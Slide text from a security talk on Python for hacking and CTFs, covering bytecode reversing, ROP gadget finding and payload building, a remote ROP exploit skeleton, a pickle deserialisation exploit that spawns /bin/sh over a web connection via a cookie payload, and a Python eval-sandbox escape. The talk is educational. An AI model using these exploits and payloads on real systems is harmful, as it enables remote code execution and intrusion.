Python in a hacker's toolbox
Gynvael Coldwind, PyConPl'15, Ossa k. Rawy Mazowieckiej
(a compilation of old and new material)
Warning, may contain:
machine bytecode
hexadecimal data representation
assembly
a significant amount of bad-quality ad-hoc code
About
All opinions expressed during this presentations are mine and mine alone. They are not opinions of my lawyer, barber and especially not my employer.
Dragon Sector
gynvael adami j00ru Mawekl
Redford mak vnd valis
tkd q3k Keidii jagger lympho
CODEGATE
Seoul, S. Korea
DEF CON CTF
Las Vegas, US
Insomni'hack
Geneva, Switzerland
SECCON
Tokyo, Japan
Main Menu
A random mix (and I do mean it) of:
Python as the language of choice for creating
ad-hoc security related tools
&
Python itself as a fascinating subject
for security related research
ZX Spectrum instrumentation
Task: Find a password that gives you a meaningful picture.
ZX Spectrum instrumentation
Task: Find a password that gives you a meaningful picture.
ZX Spectrum instrumentation - long story short
A lot of reverse engineering Z80 code
IDA Pro
ZX Spin
ZX Spectrum instrumentation
16-bit number
0x6081
0x8785
ZX Spectrum instrumentation
for h in xrange(0x10000):
0x6081
0x8785
file("all.txt", "w").write(img)
ZX Spectrum instrumentation
import z80
import z80da
import memory
...
class memmap:
def __init__(self):
self.ram = memory.ram(16)
self.ram.load_file(0, "memdump_b")
...
# Init system.
m_mem = memmap()
m_io = io()
cpu = z80.cpu(m_mem, m_io)
ff = open("all.txt", "w")
ZX Spectrum instrumentation
import z80
import z80da
import memory
...
class memmap:
def __init__(self):
self.ram = memory.ram(16)
self.ram.load_file(0, "memdump_b")
...
# Init system.
m_mem = memmap()
m_io = io()
cpu = z80.cpu(m_mem, m_io)
ff = open("all.txt", "w")
# For all possible hash values...
for hhh in xrange(0,0x10000):
# Setup initial CPU state.
cpu._set_pc(0x6081)
cpu.a = 0x35
cpu.f = 0x42
cpu.b = 0
cpu.c = 0
cpu.d = 0x81
cpu.e = 0x15
cpu.ix = 0x6304
cpu.iy = 0x5c3a
cpu.sp = 0x5ffe
# Test hash.
cpu.h = (hhh >> 8) & 0xff
cpu.l = hhh & 0xff
while cpu._get_pc() != 0x60a8:
cpu.execute()
ZX Spectrum instrumentation
all.txt
~150 MB
(IDDQD)
What’s wrong with this? (Hack.lu 2013, 250)
hello.tar
What’s wrong with this? (Hack.lu 2013, 250)
library.zip
...
__main__hello__.pyc
...
What’s wrong with this? (Hack.lu 2013, 250)
__main__hello__.pyc
[Names]
'sys'
'hashlib'
'sha256'
'dis'
'multiprocessing'
'UserList'
'encrypt_string'
'rot_chr'
'SECRET'
'argv'
What’s wrong with this? (Hack.lu 2013, 250)
__main__hello__.pyc
[Names]
'sys'
'hashlib'
'sha256'
'dis'
'multiprocessing'
'UserList'
'encrypt_string'
'rot_chr'
'SECRET'
'argv'
[Code]
Object Name: encrypt_string
...
[Disassembly]
0 BUILD_LIST 0
3 STORE_FAST 1: new_str
6 SETUP_LOOP 99 (to 108)
9 LOAD_GLOBAL 0: enumerate
12 LOAD_FAST 0: s
15 CALL_FUNCTION 1
18 <INVALID>
What’s wrong with this? (Hack.lu 2013, 250)
__main__hello__.pyc
[Names]
'sys'
'hashlib'
'sha256'
'dis'
'multiprocessing'
'UserList'
'encrypt_string'
'rot_chr'
'SECRET'
'argv'
# Source Generated with Decompyle++
# File: __main__hello__.pyc (Python 2.7)
import sys
import dis
import multiprocessing
import UserList
def encrypt_string(s):
pass
# WARNING: Decompyle incomplete
What’s wrong with this? (Hack.lu 2013, 250)
They changed Python's bytecode opcodes.
What’s wrong with this? (Hack.lu 2013, 250)
They changed Python's bytecode opcodes.
For example:
...
114 LOAD_FAST 1: new_str
117 CALL_FUNCTION 1
120 IMPORT_STAR
<the end>
What’s wrong with this? (Hack.lu 2013, 250)
They changed Python's bytecode opcodes.
For example:
...
114 LOAD_FAST 1: new_str
117 CALL_FUNCTION 1
120 IMPORT_STAR
<the end>
#define RETURN_VALUE 83
#define IMPORT_STAR 84
What’s wrong with this? (Hack.lu 2013, 250)
53 ↔ 54
62 ↔ 63
44 ↔ 45
19 ↔ 18
57 ↔ 58
What’s wrong with this? (Hack.lu 2013, 250)
53 ↔ 54
DELETE_SLICE vs STORE_MAP
62 ↔ 63
BINARY_LSHIFT vs BINARY_RSHIFT
44 ↔ 45
? vs ?
19 ↔ 18
BINARY_POWER vs ?
57 ↔ 58
INPLACE_MULTIPLY vs INPLACE_DIVIDE
What’s wrong with this? (Hack.lu 2013, 250)
BUILD_LIST 0
STORE_FAST 1 (new_str)
SETUP_LOOP 98 (to 107)
...
GET_ITER
...
COMPARE_OP 2 (==)
POP_JUMP_IF_FALSE 68
LOAD_FAST 1 (new_str)
...
JUMP_ABSOLUTE 19
LOAD_FAST 1 (new_str)
...
JUMP_ABSOLUTE 19
POP_BLOCK
...
RETURN_VALUE
FOR_ITER 85 (to 107)
encrypt_string
What’s wrong with this? (Hack.lu 2013, 250)
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
<item on the stack>
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
ord(c)-33
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
ord(c)-33
ord(c)-33 <amount>
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
ord(c)-33
ord(c)-33 <amount>
ord(c)-33+amount
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
ord(c)-33
ord(c)-33 <amount>
ord(c)-33+amount
ord(c)-33+amount <94>
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
ord(c)-33
ord(c)-33 <amount>
ord(c)-33+amount
ord(c)-33+amount <94>
(ord(c)-33+amount) % 94
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
ord(c)-33
ord(c)-33 <amount>
ord(c)-33+amount
ord(c)-33+amount <94>
(ord(c)-33+amount) % 94
(ord(c)-33+amount) % 94 <33>
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
ord(c)-33
ord(c)-33 <amount>
ord(c)-33+amount
ord(c)-33+amount <94>
(ord(c)-33+amount) % 94
(ord(c)-33+amount) % 94 <33>
(ord(c)-33+amount) % 94 + 33
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
ord(c)-33
ord(c)-33 <amount>
ord(c)-33+amount
ord(c)-33+amount <94>
(ord(c)-33+amount) % 94
(ord(c)-33+amount) % 94 <33>
(ord(c)-33+amount) % 94 + 33
chr((ord(c)-33+amount) % 94 + 33)
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
<c>
ord(c)
ord(c) <33>
ord(c)-33
ord(c)-33 <amount>
ord(c)-33+amount
ord(c)-33+amount <94>
(ord(c)-33+amount) % 94
(ord(c)-33+amount) % 94 <33>
(ord(c)-33+amount) % 94 + 33
chr((ord(c)-33+amount) % 94 + 33)
return chr(ord(c)-33+amount) % 94 + 33)
LOAD_GLOBAL 0 (chr)
LOAD_GLOBAL 1 (ord)
LOAD_FAST 0 (c)
CALL_FUNCTION 1
LOAD_CONST 1 (33)
BINARY_SUB
LOAD_FAST 1 (amount)
BINARY_ADD
LOAD_CONST 2 (94)
BINARY_MODULE
LOAD_CONST 1 (33)
BINARY_ADD
CALL_FUNCTION 0
RETURN_VALUE
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)
def rot_xchr(c, amount):� if amount < 0:� amount += 94� return chr(((ord(c) - 33) + amount) % 94 + 33)��SECRET = 'w*0;CNU[\\gwPWk}3:PWk"#&:ABu/:Hi,M'�
x = rot_xchr(SECRET[0], -10)�i = 0�for ch in SECRET[1:]:� x += rot_xchr(ch, -ord(SECRET[i]))� i += 1�print x
ROP 101
The good old buffer overflow (but not only).
RETURN ADDRESS
...
an unlucky buffer
(gets overflown)
Think C/C++/ObjC
...
some thread's stack
ROP 101
The good old buffer overflow (but not only).
RETURN ADDRESS
...
an unlucky buffer
(gets overflown)
...
some thread's stack
ROP 101
The good old buffer overflow (but not only).
SHELLCODE
EVIL
RETURN ADDRESS
...
...
an unlucky buffer
(gets overflown)
...
ret (pop instruction pointer)
some thread's stack
ROP 101
It's not like that anymore of course - NX/XD bit
SHELLCODE
EVIL
RETURN ADDRESS
...
...
some thread's stack
an unlucky buffer
(gets overflown)
...
ret (pop instruction pointer)
ROP 101
It's not like that anymore of course - NX/XD bit
(whatever)
EVIL
RETURN ADDRESS
...
an unlucky buffer
(gets overflown)
gadget 1
ret
VALUE
EVIL
RETURN ADDRESS
EVIL
RETURN ADDRESS
...
some thread's stack
gadget 2
ret
gadget 3
ret
ROP 101
It's not like that anymore of course - NX/XD bit
gadget 1
...
machine code
(app, libraries)
gadget 2
gadget 3
...
ROP 101
It's not like that anymore of course - NX/XD bit
gadget 1
0x1f56a sub eax, 0x3a04f1
0x1f56f mov [rip+0x3a04da], rax
0x1f576 pop rax
0x1f577 pop rbx
0x1f578 pop rcx
0x1f579 ret
0x1f57a nop
gadget 2
ROP - finding gadgets
How about Python?
import distorm3 # https://code.google.com/p/distorm/downloads/list��# XXX Setup here XXX�TARGET_FILE = "libc.so.6"�FILE_OFFSET_START = 0x1f4a0 # In-file offset of scan start�FILE_OFFSET_END = 0x165F88 # In-file offset of scan start�VA = 0x0 # Note: PC is calculated like this: VA + given FILE_OFFSET�X86_MODE = distorm3.Decode64Bits # just switch the 32 or 64�# XXX End of setup XXX��
disassembly engine of choice
ROP - finding gadgets
How about Python?
def DecodeAsm(pc, d):� disasm = distorm3.Decode(pc, d, X86_MODE)� k = []� l = ""� ist = ""� for d in disasm:� addr = d[0]� size = d[1]� inst = d[2].lower()� t = "0x%x %s" % (addr,inst)� l += t + "\n"� ist += "%s\n" % (inst)� k.append((addr,inst))� if inst.find('ret') != -1:� break�� return (l,k,ist)�
"\xB8\x78\x56\x34\x12\xC3"
[
"0x1234 mov eax, 0x12345678",
"0x1239 ret"
]
ROP - finding gadgets
How about Python?
UNIQ = {}�d = open(TARGET_FILE, "rb").read()�for i in xrange(FILE_OFFSET_START,FILE_OFFSET_END):� (cc,kk,ist) = DecodeAsm(VA+i, d[i:i+20])� if cc.find('ret') == -1:� continue� if cc.find('db ') != -1:� continue� if ist in UNIQ:� continue� UNIQ[ist] = True � print "------> offset: 0x%x" % (i + VA)� for k in kk:� print "0x%x %s" % (k[0],k[1])� if k[1].find('ret') != -1:� break� print ""
------> offset: 0x1f667
0x1f667 pop rbp
0x1f668 pop r12
0x1f66a ret
------> offset: 0x1f668
0x1f668 pop r12
0x1f66a ret
------> offset: 0x1f669
0x1f669 pop rsp
0x1f66a ret
e.g. 5 MB (if we're lucky)
ROP - creating payload
Python!
# MY Little ROP, Libc Is Magic!�from struct import pack�LIBC=0��def dq(v): # data quad word� return pack("<Q", v)��def set_rdi(rdi):� # ------> offset: 0x22b1a� # 0x22b1a pop rdi� # 0x22b1b ret� o = ""� o += dq(LIBC + 0x22b1a)� o += dq(rdi)� return o
ROP - creating payload
Python!
def rop_read(fd, buf, count):� READ = LIBC + 0xEB800� o = ""� o += set_rdi(fd)� o += set_rsi(buf)� o += set_rdx(count)� o += syscall(0)� return o�
ROP - creating payload
Python!
def gimme_gimme(libc):� o = ""� � # mmap� o += rop_mmap(ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,� MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1 & 0xffffffffffffffff, 0)�� # read� o += rop_read(0, ADDR, 0x1000)�� # jmp� o += dq(ADDR)�� return o
ROP - creating payload
Python!
def gimme_gimme(libc):� o = ""� � # mmap� o += rop_mmap(ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,� MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1 & 0xffffffffffffffff, 0)�� # read� o += rop_read(0, ADDR, 0x1000)�� # jmp� o += dq(ADDR)�� return o
ROP - creating payload
Example qwords:
--> 48857
--> 0
--> f09c1
--> 0
--> 0
--> 22b1a
--> 700000001000
--> 24805
--> 1000
--> bcee0
--> 7
--> 112ecf
--> 32
--> 127906
--> ffffffffffffffff
--> f49c0
--> 22b1a
--> 0
--> 24805
--> 700000001000
--> bcee0
--> 1000
--> 48857
--> 0
--> 113828
--> 700000001000
ROP - example exploit
def add(s, size):
s.send(dd(0) + dq(size))
return struct.unpack('<I', s.recv(4))[0]
...
# Connect to remote host
s = socket.socket()
s.connect((host, port))
...
add(s, 2 ** 34)
...
write(s, new_pad_idx, "A" * 8)
leak_idx = add(s, 1)
print("[+] leak_idx: %x" % leak_idx)
...
# Write the ROP chain to stack and trigger it at the same time.
import mylittlerop
write(s, new_pad_idx, struct.pack(
'<QQQQ', 0x41414141,
stack_addr + 0x288, 0x42424242, 1))
write(s, 0x41414141,
mylittlerop.gimme_gimme(libc_base),
no_reply = True)
os.system("nasm getflag2.nasm")
s.send(open("getflag2", "rb").read())
ROP - telnetlib
import telnetlib
...
t = telnetlib.Telnet()
t.sock = s
t.interact()
Pickle - P is for pwned
Target:
A webservice of a certain company
Pickle - P is for pwned
Looking around we find...
Cookies!
Pickle - P is for pwned
state cookie:
SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5fdGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMApTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARCH:KGRwMApTJ3NlYXJjaF9sYXN0JwpwMQpTIicgb3IgMT0xIC0tIgpwMgpzLg==:
what's this?
Pickle - P is for pwned
SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5fdGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:
>>> sess.decode("base64")
"(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np4\ns."
Pickle - P is for pwned
(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np4\ns.
>>> import pickle
>>> pickle.loads(sess.decode("base64"))
{'username': None, 'SID': '1cfccdb3388453f56ecca079115c6d61', 'login_time': None}
Pickle - P is for pwned
Pickle - P is for pwned
Object deserialization - a quick review
*/JSON
No object support.
Pickle - P is for pwned
Object deserialization - a quick review
PHP/unserialize
"Static" object creation.
Calls __wakeup()
Eventually calls __destruct()
Pickle - P is for pwned
Object deserialization - a quick review
Python/pickle
A selected constructor from
a selected module
for a selected class
is called.
eg. subprocess.Popen
Pickle - P is for pwned
# https://blog.nelhage.com/2011/03/exploiting-pickle/�class Exploit(object):� def __reduce__(self):� fd = 20 # ←----------------------------------- ???� return (subprocess.Popen,� (('/bin/sh',), # args� 0, # bufsize� None, # executable� fd, fd, fd # std{in,out,err}� ))�print base64.b64encode(pickle.dumps(Exploit()))
Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou
Pickle - P is for pwned
fd = 20
HTTP Connection
20 -> socket:[12345]
stdin (0)
stdout (1)
stderr (2)
/bin/sh
HTTP
Server
Pickle - P is for pwned
state - a "better" version
SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5fdGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMApTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARCH:Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou:
Pickle - P is for pwned
IDDQD
GDB scripted with Python
GDB has wonderful Python API!
Getting a registry value is as easy as:
import gdb
print int(str(gdb.parse_and_eval("(void*)($rax)")).split(" ")[0], 16)
GDB scripted with Python
turututu (OCAML crackme, PHDays Quals CTF 2014)
The strings were stored and processed as lists. Really hard to see what's going on.�
def print_list(addr, next_off=8, mod=False):
if addr == 1:
print " <li> 0: 1"
print " <li> --"
return
i = -1
r = addr
while r != 1:
i += 1
item = ExprAsInt("*(void**)0x%x" % r)
if mod != False:
item = mod(item)
else:
...
...
item = "%x" % item
print " <li> %2u: 0x%.16x ---> %s" % (
i, r, item)
# Next.
r = ExprAsInt("*(void**)(0x%x+%u)" %
r, next_off))
print " <li> --"
return
GDB scripted with Python
turututu (OCAML crackme, PHDays Quals CTF 2014)�
--- walk_through_list_rsi
<li> 0: 0x0000000000621da0 ---> H [91 | 1]
<li> 1: 0x0000000000621db8 ---> a [c3 | 1]
<li> 2: 0x0000000000621dd0 ---> t [e9 | 1]
<li> 3: 0x0000000000621de8 ---> r [e5 | 1]
<li> 4: 0x0000000000621e00 ---> n [dd | 1]
<li> 5: 0x0000000000621e18 ---> D [89 | 1]
<li> 6: 0x0000000000621e30 ---> y [f3 | 1]
<li> 7: 0x0000000000621e48 ---> r [e5 | 1]
<li> 8: 0x0000000000621e60 ---> t [e9 | 1]
<li> --
Python in other debuggers
„Sandbox”
A calculator.
What could possible
go wrong?
„Sandbox”
POST /calc HTTP/1.1
{"formula": "6*9"}
HTTP/1.1 200 OK
{"result": "42"}
HTTP SERVER
„Sandbox”
POST /calc HTTP/1.1
{"formula": "0/0"}
HTTP/1.1 200 OK
{"error": "ZeroDivisionError"}
HTTP SERVER
„Sandbox”
1+open("/etc/passwd")+1
NameError
TypeError
Damn Kids!
Get Off My Lawn!
?
?
?
„Sandbox”
1+open("/etc/passwd")+1
NameError
„Sandbox”
1+len([1,1,1])+1
NameError
5
Damn Kids!
Get Off My Lawn!
?
?
?
„Sandbox”
1+len([1,1,1])+1
NameError
Probable Python Sandbox:
eval("formula",
{"__builtins__": None,
"sin": math.sin,
... }, # Globals
{}) # Locals
„Sandbox”
1+[1,1,1].__len__()+1
NameError
5
Damn Kids!
Get Off My Lawn!
?
?
?
„Sandbox”
1+[1,1,1].__len__()+1
5
„Sandbox”
{}
{}
['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues']
dir(formula)
„Sandbox”
{}.__class__
<type 'dict'>
['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues']
+ hidden: __base__
dir(formula)
„Sandbox”
{}.__class__.__base__
<type 'object'>
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
+ hidden: __subclasses__
dir(formula)
„Sandbox”
{}.__class__.__base__
.__subclasses__
<built-in method __subclasses__ of type object at 0x9175e0>
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
dir(formula)
„Sandbox”
{}.__class__.__base__
.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']
dir(formula)
„Sandbox”
{}.__class__.__base__
.__subclasses__()[59]
<class 'warnings.catch_warnings'>
['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']
dir(formula)
version dependent
„Sandbox”
{}.__class__.__base__
.__subclasses__()[59]()
catch_warnings()
['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_entered', '_module', '_record']
dir(formula)
„Sandbox”
{}.__class__.__base__
.__subclasses__()[59]()._module
<module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>
['WarningMessage', '_OptionError', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_getaction', '_getcategory', '_processoptions', '_setoption', '_show_warning', 'catch_warnings', 'default_action', 'defaultaction', 'filters', 'filterwarnings', 'formatwarning', 'linecache', 'once_registry', 'onceregistry', 'resetwarnings', 'showwarning', 'simplefilter', 'sys', 'types', 'warn', 'warn_explicit', 'warnpy3k']
dir(formula)
„Sandbox”
{}.__class__.__base__
.__subclasses__()[59]()._module
.__builtins__
[...], 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str': <type 'str'>, 'property': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int': <type 'int'>, '__import__': <built-in function __import__>, 'KeyError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, [...]
(6195 bytes)
